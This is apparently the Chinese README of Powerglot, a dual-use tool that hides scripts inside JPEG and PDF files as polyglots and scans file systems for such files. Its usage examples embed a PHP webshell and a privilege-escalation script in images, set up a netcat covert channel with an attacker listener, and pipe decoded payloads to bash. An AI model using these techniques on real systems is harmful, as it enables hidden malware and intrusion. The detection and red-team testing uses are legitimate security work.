Powerglot 使用多语言混写技术对多种脚本进行编码,例如攻击性的 PowerShell 脚本。无需加载器即可运行载荷。
在红队演练或攻击任务中,通常使用隐写术来掩盖载荷,尤其是为了绕过网络层面的防护,而最常见的载荷脚本是用 PowerShell 编写的。最近的恶意软件和 APT 组织利用了其中一些能力:APT32、APT37、Ursnif、Powload、LightNeuron/Turla、Platinum APT、Waterbug/Turla、Lokibot、The Dukes(Ghost 行动)、Titanium 等。
Powerglot 是一个基于多语言混写的多功能、跨平台攻击与防御工具。Powerglot 可以将脚本(PowerShell、Shell 脚本、PHP 等)主要隐藏在数字图像中,其他文件格式正在开发中。与通常的攻击工具或恶意软件不同,Powerglot 不需要任何加载器来执行“隐藏信息”,从而最小化目标系统上的噪音。
PowerGlot 在攻击任务中具有明显的实用性,同时也被定义为一种发现和蓝队工具。据我们所知,这是第一个通用且完整的开源工具,能够搜索使用多语言混写隐藏的信息,这些信息可能用于在系统中实现持久化或隐藏恶意软件(隐写恶意软件、权限提升、横向移动、反向 shell 等)。
功能:
将 PowerShell/Shell 脚本/PHP 等编码为多语言混写图像。无需加载器即可恢复/执行隐藏信息(载荷)。PowerGlot 支持多种格式,主要是 JPEG 和 PDF 格式。其他格式正在开发中。
Powerglot 是一个完整的开源工具,用于检测(恶意的)多语言混写文件,特别是某些公开工具(如 Truepolyglot 或 stegoSploit)产生的结果。我们支持多种格式:JPEG、PNG、GIF、BMP、ZIP、PDF、MP3 等。
# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
一些使用 Powerglot 通过多语言混写隐藏载荷的示例
# 示例 1 - 将 PowerShell/PHP/Shell 脚本隐藏到 JPEG 图像中
# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# 示例 2 - 将用于权限提升的 Shell 脚本(linenum.sh)“隐藏”到 JPEG 图像中
# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (这是一个有效的 JPEG 文件)
# feh cat-lineum.jpg (图像在图像查看器中正常显示)
# 我们可以通过多种方式执行脚本:
a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# 示例 3 - 将带有 netcat 的隐蔽信道隐藏到 JPEG 图像中
# 攻击者
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
# 受害者
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# 示例 4 - PDF 中的多语言混写(例如 linenum.sh)
# 用你喜欢的载荷创建 b64.sh
base64 Linenum.sh -w 0 > b64.sh
# 编辑 b64.sh
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# 执行载荷
# cat test.pdf | bash 或 chmod +x test.pdf; ./test.pdf
# 示例 5 - JPEG 中的 PowerShell(多语言混写)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# 执行载荷(示例)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
一些在文件系统中检测多语言混写的示例
#python3 powerglot.py -d ./
--= [检测多语言混写] --=
..............................................................
[可疑文件]-[ ./cat-end-extra2.jpg ]..
[可疑文件]-[ ./cat-end-extra3.jpg ][多语言混写 Stegosploit][EOF 签名: */ -->]
.................................................................................
[可疑文件]-[ ./cat-end-extra1.jpg ]..
本项目由 Alfonso Muñoz 博士和 Abraham Pasamar 开发。代码根据 GNU 通用公共许可证 v3 发布。